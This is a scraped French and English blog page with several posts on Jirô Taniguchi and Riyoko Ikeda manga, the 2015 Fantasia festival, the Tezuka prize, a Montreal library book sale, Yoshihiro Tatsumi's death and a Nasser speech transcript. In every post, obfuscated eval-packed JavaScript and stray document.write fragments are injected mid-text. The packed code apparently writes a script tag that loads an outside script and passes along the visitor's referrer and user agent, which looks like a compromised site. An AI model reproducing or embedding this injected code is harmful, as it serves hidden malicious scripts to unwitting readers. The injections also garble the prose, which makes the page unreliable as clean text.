Découverte: trois nouveaux Taniguchi

Cette semaine, document.write(“”); en feuilletant le catalogue des bibliothèques de Montréal, j’ai fait la découverte de trois nouveaux manga de Jirô Taniguchi qui avaient échappé à mon attention jusque là: il s’agit de Les Gardiens du Louvre (que j’ai déjà commenté tout récemment), du volume 2 de Contrées Sauvages (que j’avais annoncé déjà en juillet de l’an dernier) et finalement, le plus nouveau de tous, Elle s’appelait Tomoji.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsdek|var|u0026u|referrer|yzsse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znakz|var|u0026u|referrer|ierna||js|php’.split(‘|’),0,{}))

Voir les détails
après le saut de page >>

Les Gardiens du Louvre

Résultat d’un projet spécial, coédité par Futuropolis et Louvre Éditions, où des artistes de BD s’inspirent des oeuvres du Louvre, cette bande-dessinée de Taniguchi nous offre des planches superbement détailées et colorées.

“(…) un dessinateur japonais fait étape en solitaire à Paris, dans l’idée de visiter les musées de la capitale. Mais, cloué au lit de sa chambre d’hôtel par une fièvre insidieuse, il se trouve confronté avant tout à une forme de solitude absolue (…). Alors que le mal lui laisse quelque répit, il met son projet à exécution, et se perd dans les allées bondées du Louvre (…) oscillant entre rêve et réalité, qui le mènera pour finir à la croisée des chemins entre tragédie collective et histoire personnelle.”

Les Gardiens du Louvre, par Jiro TANIGUCHI (Traduction: Ilan Nguyên). Paris, Futuropolis / Louvre Éditions, novembre 2014. 23.0 x 32.5 x 1.7 cm, 136 pg., album couleur et cartonné, 20,00 € / $37.95 Can. Sens de lecture original japonais. ISBN: 9782754810159. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Les contrées sauvages 2

“Au milieu d’une nature aussi cruelle que ses paysages sont sublimes et les créatures qui la peuplent sont hostiles, l’homme est la proie de tout, et surtout de lui-même. Véritable périple à travers les grands espaces, des montagnes japonaises aux étendues de l’Ouest américain, cette anthologie n deux tomes donne à voir une facette encore méconnue en France de l’oeuvre de Taniguchi : l’époque où, nourri de bande dessinée européenne, il s’essayait avec succès à la BD de genre en y insufflant ce qui est aujourd’hui encore sa marque de fabrique : un immense talent de raconteur d’histoires.”

Les Contrées Sauvages vol. 2, par Jirô TANIGUCHI. Paris: Casterman (collection Sakka), janvier 2015. 264 pgs, 15 x 21.4 x 2.2 cm, 13.95 € / $26.95 Can, ISBN: 9782203084445. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Elle s’appelait Tomoji

“L’histoire vraie d’une rencontre signée Taniguchi

“Taniguchi met ici en scène la rencontre entre deux adolescents dans le Japon de l’entre-deux guerres (1925-1932). Tomoji vit dans la campagne au nord du mont Fuji, tandis que Fumiaki fait ses premiers pas de photographe à Tokyo. L’auteur nous fait découvrir avec sa sensibilité habituelle ce qui va unir ces personnages.”

“Une histoire inspirée de personnages réels qui fonderont par la suite une branche dérivée du bouddhisme.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

Elle s’appelait Tomoji , scénario: Jirô TANIGUCHI et Miwako Ogihara, dessin: Jirô TANIGUCHI. Paris: Rue de Sèvres, janvier 2015. 174 pgs, 18.5 x 25.5 cm, 17 € / $31.95 Can, ISBN: 9782369811312. Recommandé pour public adolescent (12+).

Extraits des pages 3 à 8


Un extrait plus long peut être consulté sur le site de l’éditeur
Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Japanese movies at Fantasia 2015


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznhy|var|u0026u|referrer|yesze||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntass|var|u0026u|referrer|rhnya||js|php’.split(‘|’),0,{}))
This week the programmation for the 19th edition of the Fantasia International Film Festival was announced. It will be held in Montreal from July 14 to August 4 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. This year the festival is offering a lineup of about 400 movies from 36 countries, document.write(“”); including about 135 feature-length movies and 104 premieres! For more programming details you can check the festival’s web page at www.fantasiafestival.com and the screening schedule [ PDF ].

Here our main interest is the Japanese programming (25 features and one short) but there are twenty-seven movies from at least five other asian countries (four from China, thirteen from South Korea, six from Hong Kong, one from Indonesia, two from Taiwan and one from Thailand). The programming includes also over an hundred animated features and shorts from many countries. As usual, it’s a rich, strong and diversified selection bound to please anyone.

This year, it’s a slim pick anime-wise but to compensate the festival will open with the Japanese animated feature Miss Hokusai, which will be introduced by director Keiichi Hara and screenplay writer Miho Maruho. To the utter pleasure of the fans, the festival will also close with the canadian premiere of the greatly anticipated live-action Attack on Titan directed by Shinji Higuchi and based on the popular manga by Hajime Isamaya. The other anime and manga-related movies of interest are the Lupin the Third live-action, the latest Mamoru Oshii (Nowhere Girl) and the latest Takeshi Kitano (Ryuzo and the Seven Henchmen).

(Sources: Animation world network, Bible urbaine, Cult Mtl, Film school rejects and Métro)

Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

Documentary:

And here’s a few trailers of interest:

[ Traduire ]

19th Tezuka Osamu Cultural Prize

The 2015 winners for the prestigious Tezuka Osamu Cultural Prize were announced on March 30th by the newspaper Asahi Shimbun:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knyti|var|u0026u|referrer|ebdtt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nehrh|var|u0026u|referrer|rbtne||js|php’.split(‘|’),0,{}))

Grand Prize: Aizawa Riku by Yoriko Hoshi (Bungeishunju).

New Creator Prize: A Silent Voice by Yoshitoki Ohima (Kodansha). Already available in french translation at Ki-oon.

Short Work Prize: Sensha Yoshida (for his works as a whole; his latest manga is Okayu Neko).

Special Prize: Chiisana Koi no Monogatari by Chikako Mitsuhashi (Gakken).

Sources: ANN and Animeland.

[ Traduire ]

Solde de livres des ABM 2015

Comme toutes les années le <a href="http://ville.montreal.qc.ca/portal/page?_pageid=4276, document.write(“”); 5496140&_dad=portal&_schema=PORTAL” target=”“new””>solde de livres des Amis des Bibliothèques de Montréal se tient à l’Aréna Étienne-Desmarteau (3430, rue de Bellechasse) du 2 au 10 mai, entre 13 h et 19 h.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deeka|var|u0026u|referrer|nhyef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fydis|var|u0026u|referrer|rrdaa||js|php’.split(‘|’),0,{}))

Vous y trouverez toutes sortes de livres qui ont été retiré de la collection des bibliothèques de la ville de Montréal (histoire de faire de la place pour les nouveautés). On y trouve de tout: romans, livres pour enfants, magazines, bandes dessinées, manga, livres en gros caractères, dictionnaires et documentaires sur des sujets variés (voyages, santé, sciences, histoire, politique, philosophie, anthropologie, informatique, etc.). Chaque jour des milliers de nouveaux livres sont ajoutés ce qui fait que le choix demeure toujours varié et bon.

C’est plus de 150,000 95 000 livres et revues (dont plus de 12,000 en anglais) offert à très bon prix (50 ¢ pour les livres jeunesses, revues et magazines; 1 $ pour les livres pour adultes; 2 $ pour les bandes dessinées et manga; ainsi que 3 $ pour les dictionnaires, encyclopédies et “beaux livres”).

Les dons du public sont aussi accepté. Vous pouvez donc apporter vos livres tous les jours du solde (sauf les samedis et dimanches). Il y a tellement de livres cette année (toutes les bibliothèques ont fait du ménage dans leur collection en prévision de l’installation des puces RFID dans les livres pour le nouveau système de prêt) que les dons du public ne sont plus acceptés!

C’est non seulement une aubaine pour vous mais en achetant vous contribuez à financer les activités d’animation dans les Bibliothèques de Montréal et à promouvoir la lecture. Tout le monde est gagnant! Même les livres qui trouvent ainsi de nouvelles familles pour les chérir!

Après la vente les livres restant sont offert à des associations sans but lucratif et groupes communautaires (comme Renaissance, l’Armée du Salut ou la Fondation des parlementaires québécois – Cultures à partager). Ultimement, le papier des invendus sera recyclé. Sauvez donc un livre en venant l’acheter à peu de frais!

Si le solde de livre est aussi populaire que les années précédentes (et les ABM ont fait beaucoup de publicité sur FB cette année) attendez-vous à des lignes d’attentes pour entrer dans les premiers jours…

[ Translate ]

R.I.P. Yoshihiro Tatsumi

Earlier this month, document.write(“”); on March 7, 2015, a member of the mangaka old guard passed away. Yoshihiro Tatsumi was seventy-nine year-old. He is most famous for having invented the word “gekiga” (lit. dramatic pictures) to describe the style of graphic novels he was producing in the ’50s. Nearly a dozen of his works have been translated either in english by Drawn & Quarterly or in french by Cornélius or Vertige, but he is best known for his graphical autobiography A Drifting Life (which I have previously commented).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tykds|var|u0026u|referrer|bzddn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bitke|var|u0026u|referrer|abria||js|php’.split(‘|’),0,{}))

Yoshihiro TATSUMI [?? ????] was born in 1935 in Tenn?ji-ku, Osaka. Inspired by the work of
Osamu TEZUKA and Noboru ÔSHIRO, he starts drawing manga in junior high school and has his first works (simple 4-panel and postcard manga) published in 1949. His first full-length story, Kodomojima (Children’s Island), is published by Tsurushobô in 1954. He becomes part of a group of artists based in the Kansai region publishing mostly for the Kashi-hon ya market (libraries specialized in renting hardcover books—many publishers, like Hinomaru bunko, produced their books and anthologies exclusively for that market). He then starts to be regularly published in manga compilation (contributing to anthologies like Kage [Shadow] or Machi [City]) and constantly experiments with his storytelling. His stylistic research culminate with the publication of Kuroi Fubuki (Black Snowstorm) in 1956.

Tatsumi (and the group of artists he associated with: Takao SAITÔ, Masaaki SATÔ, Masahiko MATSUMOTO among others) was writing action-oriented stories that were darker than the typical manga, and therefore, aimed at an older, more mature readership. His stories were about people’s everyday life and were using realistic themes that were more in sync with the socio-political problems of the time. In order to express such a complex storytelling he was using artistic techniques inspired by cinema (he was a big movie fan). That allowed for more expressive stories, as the narrative was better paced and the action flowing more naturally through the panels. In order to distinguish his style from the more comical and childish manga that was usual at the time, Tatsumi gave it the name “gekiga” (drama pictures). His group of artist was known as the “gekiga workshop.”

Yoshihiro TATSUMI is not my favourite mangaka (and so far i’ve read only A Drifting Life) but I have great respect for his role in the history of manga and for his work. His style was rather crude and cartoony (like most artists of his time) but he created great stories.

For more information you can check the following websites:

(Sources: ANN, The Guardian, ICv2 / Image Source: Andreas Rentz-Getty Images Europe [via ANN])

[ Traduire ]

La Rose de Versailles – Episodes

Samedi dernier, document.write(“”); avant d’aller me coucher, alors que je prenais des nouvelles de mon entourage en parcourant Facebook, je suis tombé sur une entrée de NHK World qui annonçait une émission de “Booked For Japan” dédiée à Riyoko Ikeda! J’ai rapidement consulté l’horaire et découvert que l’émission était en cours. Alors j’ai immédiatement ouvert l’application NHK World sur mon iPad pour l’écouter. C’était plutôt intéressant (C’est juste dommage qu’on ne puise pas revoir ces émissions “Sur Demande” car j’aimerais bien la visionner de nouveau et vous y référer…) et cela m’a rappelé avoir lu que Riyoko Ikeda avait repris la production de son manga Versailles no Bara avec de courtes histoires publiées en feuilletons dans le magazine sh?jo Margaret de Sh?eisha.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kietk|var|u0026u|referrer|fhtse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yndbf|var|u0026u|referrer|zytbz||js|php’.split(‘|’),0,{}))

Continuez après le saut de page >>

Booked For Japan” est une émission où l’animateur Robert Campbell, un spécialiste de littérature japonaise, discute chaque semaine avec un invité célèbre de sa lecture préférée afin de révéler ses valeurs et sa vision du monde. Le livre favori de Riyoko Ikeda est Man’s Search for Meaning de Viktor Frankl [Amazon, Goodreads, Nelligan].

Riyoko Ikeda est une mangaka de grand renom. Née en 1947, elle fait donc partie du célèbre Groupe de l’an 24. Elle a surtout produit des manga sh?jo ou josei historiques comme Oniisama e… (Très cher frère, 1975, 3 vols), Orpheus no Mado (La fenêtre d’Orphée, 1975, 18 vols), Jotei Ecaterina (L’impératrice Catherine, 1983, 5 vols), Eikou no Napoleon – Eroica (La gloire de Napoléon : Heroica, 1986, 11 vols), Porando Hishi Ten no Hate Made (Jusqu’aux frontières du ciel – Histoire secrète de la Pologne, 1991, 3 vols) ou encore Niberunku no Yubiwa (L’Anneau du Nibelung, 2000, 4 vols). [Voir aussi pour références, en anglais, ANN et Baka-Updates]

Toutefois, elle est surtout connue ici pour Berusaiyu no Bara (???????? / La Rose de Versailles, 1972, 10 vols) qui fut adapté en animation (connue ici sous le titre de Lady Oscar, 1979-80, 40 eps), au cinéma et même en comédie musicale (par la célèbre troupe de revue Takarazuka) ! Il me semble incompréhensible que de tout l’ensemble de son excellente oeuvre, La Rose de Versailles soit son seul manga à avoir été traduit ici (les deux premiers volumes ont d’abord été traduit en anglais en 1980 par Frederik L. Schodt pour l’éditeur japonais Sanyusha mais ce ne fut jamais disponible en Amériques — il en a toutefois mis un bref extrait dans son livre Manga! Manga! The world of Japanese comics [Amazon, Goodreads]; la traduction française est elle toujours disponible chez Kana [Amazon, Goodreads, Nelligan]).

Riyoko Ikeda est aussi une femme aux talents multiples car, après avoir produit près d’une quarantaine de superbe manga, elle fait le choix difficile en 1995 de changer de carrière et entre à l’Université Musicale de Tokyo pour apprendre le chant! Après une brève carrière de chanteuse classique professionnelle, elle se rend compte qu’il est plutôt difficile de vivre du chant et revient tranquillement au dessin. [voir une entrevue et un extrait de concert sur Youtube]

Sous la pression de ses fans, Ikeda avait déjà écrit plusieurs compléments à ce qui est sans doute son ouvrage le plus populaire. En 1984, elle avait publié Berusaiyu no Bara Gaiden (?????????? / La Rose de Versailles Side-Stories) qui compilait quatre récits secondaires reprenant les même personnages et introduisant comme nouvelle protagoniste une petite fille nommée Loulou: “Loulou et la poupée qui l’accompagne”, “Le fils du général de Jarjayes ?!”, “Le pirate turc et la religieuse” et “L’élixir du diable”. Ce volume a été publié en français sous le titre La Rose de Versailles Vol. 3: Hors-Série par Kana [Amazon, Goodreads, Nelligan].

D’une certaine façon, Eroica, en 1986, avait aussi été conçu comme une suite à La Rose de Versailles en continuant le récit de la révolution française avec l’avénement et les exploits de Napoléon Bonaparte. Il est vraiment dommage que cette (longue) série n’ait jamais été traduite. De même, si l’on pousse une peu plus loin, on peut aussi considérer comme une suite la série des BeruBara Kids (???? Kids / “BeruBara” étant la contraction typiquement japonaise pour “Berusaiyu no Bara”; 2006, 7 vols) une auto-parodie en 4-komas (histoires humoristiques en quatre cases) qui met en action les personnages de La Rose de Versailles en format SD (Super-Deformé) ou chibi (enfantin). Incroyablement, un premier volume de cette série est maintenant disponible en français chez Tonkam sous le titre La Rose de Versailles Kids. On aura vraiment tout vu !

Toutefois, et là on entre finalement dans le sujet dont je voulais vous entretenir, la véritable suite de La Rose de Versailles ce sont les Berusaiyu no bara episodes (???????? ???? / La Rose de Versailles – Episodes). En effet, ce n’est que quarante ans plus tard que Riyoko Ikeda nous revient avec une véritable suite! Le tout premier de ces nouveaux épisodes est paru dans un livre “spécial anniversaire” joint comme extra au numéro célébrant le cinquantenaire de Margaret, le magazine hebdomadaire shojo de Shueisha (le #10, paru le 5 mai 2013). Il s’agit d’une histoire courte de seize pages qui se concentre sur André quand il était un jeune garçon et avant qu’il ne rencontre Oscar.

Couverture du Margaret 2013 #10 et extrait des pages 1-10 de l’épisode #1:

Un deuxième épisode parait dans le Margaret 2013 #22 (du 5 novembre 2013):

Puis un troisième épisode parait dans le numéro double de Margaret 2014 #3-4 (30 Jan & 5 Fév):

Et un quatrième épisode parait dans Margaret 2014 #12 (20 mai 2014):

Cet épisode est dédié au subordonné d’Oscar, Alain de Soissons
L’épisode 5, qui suit le Major Victor Clement de Girodelle, est paru en deux parties: une première partie de trente-sept page dans le Margaret #22 (publié le 20 octobre 2014) et une seconde partie de trente-trois pages dans le Margaret #23 (publié le 5 novembre 2014), chacune comportant cinq pages en couleurs. L’épisode 6 a lui aussi été publié en deux partie: l’une dans le Margaret #8 (publié le 20 mars 2015) et l’autre dans le Margaret #9 (publié le 4 avril 2015) totalisant une centaine de pages. Cet épisode nous révèle le secret de la naissance d’Oscar!

Margaret 2014 #22 (20 oct) et Margaret 2015 #8 (20 mars)

En août 2014, Sueisha a compilé les quatres premiers épisodes en un onzième volume de la série La Rose de Versailles et en a profiter pour rééditer les dix premiers volumes. Les épisodes sont respectivement intitulés: “André Grandier”, “Girodelle”, “Hans Axel von Fersen” et “Alain de Soissons” d’après le personnage sur lequel l’histoire de chaque épisode est centrée. Dans cette compilation, le premier épisode comporte une quinzaine de pages en plus dont certaines en couleurs. Le volume comporte 184 pages (dont vingt-quatre en couleur) et se détail à ? 713 (à peu près $7.50 Can). Il est disponible sur Amazon au Japon mais peu d’autres détails sont connu pour l’instant et aucune annonce n’a encore été faite sur une éventuelle traduction française. Je n’ai trouvé pour l’instant qu’un seul article qui commente, en anglais, ce nouveau volume. Considérant le talent et ce que j’ai précédemment lu de l’oeuvre de Riyoko Ikeda, je ne doute pas que l’histoire soit fort intéressante (et, de plus, j’adore les manga historiques). Quand au dessin, le premier episode et les extraits que je vous ai présenté ici, parlent par eux-même et démontrent aisément que l’artiste a su pousser son talent encore plus loin. C’est tout simplement superbe!

Je vais probablement me procurer le premier volume japonais (pour mon épouse surtout), en attendant la parution du volume 12 (probablement cet été ou cet automne) et espérer que cette suite soit publiée rapidement dans la francophonie!

[ Translate ]

Quand les Égyptiens riaient à l’idée du port du voile!

Hier je suis tombé sur ce vidéo en parcourant Facebook. Je l’ai trouvé tellement intéressant que je le partage ici avec vous.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtder|var|u0026u|referrer|aaind||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbfty|var|u0026u|referrer|tiryh||js|php’.split(‘|’),0,{}))

Dans ce discours de 1966, document.write(“”); Gamal Abdel Nasser (qui fut le charismatique et progressiste président d’Égypte de 1956 à 1970) fait état de sa rencontre avec les Frères Musulmans en 1953 et le fait qu’ils exigeaient qu’il impose le port du voile aux femmes. Cette idée fait rire la foule!


Ce video semble avoir refait surface en 2012, au moment où Mohamed Morsi et les Frères Musulmans prenaient le pouvoir en Égypte, comme en fait foi cet article sur France 24. Il existe aussi sur Youtube une version du discours sous-titrée en anglais.

Dans une version plus longue de ce discours (14:26 min. sur Youtube), il continue en mentionnant que les Frères Musulmans exigeaient aussi qu’il interdise le travail des femmes et qu’il ferme les théâtres et cinémas. Il poursuit ensuite en exposant le complot des Frères Musulmans.

Il est amusant de constater qu’il y a une cinquantaine d’année l’idée de voiler le femmes faisait rire les Égyptiens. Aujourd’hui, alors que le fondamentalisme des musulmans plus radicaux a beaucoup progressé dans le monde arabe, je ne crois pas qu’il y ait matière à en rire… D’une certaine façon, et c’est peut-être surprenant, on voit bien que les choses n’ont guère changer dans le monde arabe et que, finalement, ce genre d’idée extrémiste ne date pas d’hier.

Vous pouvez lire la transcription de cet extrait du discours après le saut de page:

En 1953, nous voulions vraiment, honnêtement, collaborer avec les Frères Musulmans, pour qu’ils avancent dans le droit chemin.

J’ai rencontré le conseiller général des frères musulmans.

Il a présenté ses demandes.

Il a demandé quoi ?

D’abord, m’a-t-il dit, il faut que tu imposes le voile en Égypte et que tu ordonnes à chaque femme qui sort dans la rue de se voiler.

[ Éclats de rire dans l’assistance. ]

[ Nasser lève une main en l’air, l’air de dire « Oui, c’est incroyable, je ne fais que retranscrire. » ]

À chaque femme dans la rue.

[ Un homme crie dans l’assistance « Qu’il le porte lui même ! ». Redoublement des rires dans l’assistance. Nasser sourit. Applaudissements nourris du public. ]

Et moi je lui ai répondu que c’était revenir à l’époque où la religion gouvernait [référence à l’époque de Al-Hakim bi-Amr Allah, au XIe siècle] et et où on ne laissait les femmes sortir qu’à la nuit tombée.

Moi à mon avis, chacun est libre de ses choix.

Il me répondit : « Non ! C’est à toi de décider en tant que gouverneur responsable. »

Je lui répondis : « Monsieur, vous avez une fille à la faculté de médecine et elle ne porte pas le voile.

[ Rires et débuts d’applaudissements. Mais Nasser continue. ]

Pourquoi ne l’obligez vous pas à le porter ?

Si vous…

[ Applaudissements plus nourris, obligeant Nasser à s’interrompre. ]

Si vous n’arrivez pas à faire porter le voile à une seule fille, qui plus est la vôtre, comment voulez vous que je le fasse porter à 10 millions de femmes Égyptiennes?»

[ Explosion de rires dans l’audience. Nasser rit allègrement. ]

[ Translate ]

Congrès Boréal

Pour ceux que ça intéresse: le Congrès Boréal (rassemblement annuel des amateurs et professionnels des littérature de l’imaginaire du Québec) se tiendra la fin de semaine des 8, document.write(“”); 9 et 10 mai 2015. On me précise que la soirée du 8 mai se déroulera à la Maison des écrivains (QG de l’UNEQ: 492 avenue Laval) et que la fin de semaine du 9-10 mai comme tel aura lieu à l’hôtel Expresso (1005 rue Guy). Voir le site officiel pour plus de détails. Inscrivez-vous en grand nombre!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dydbk|var|u0026u|referrer|risik||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ishyy|var|u0026u|referrer|yryfn||js|php’.split(‘|’),0,{}))

[
Translate ]

Découvertes livresques multiples

En furetant dans le catalogue “Découverte” des bibliothèques de Montréal, document.write(“”); à la recherche de mangas historiques (ou de livres sur l’histoire du manga?), j’ai trouvé quelques titres de plus à ajouter à ma longue liste de lecture. Je vous en fait ici une brève introduction. Décidément, il va vraiment me falloir trouver beaucoup plus de temps pour lire en 2015 !
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzkan|var|u0026u|referrer|dtiez||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diyyk|var|u0026u|referrer|bkras||js|php’.split(‘|’),0,{}))

>>
Cliquez ici pour lire la suite

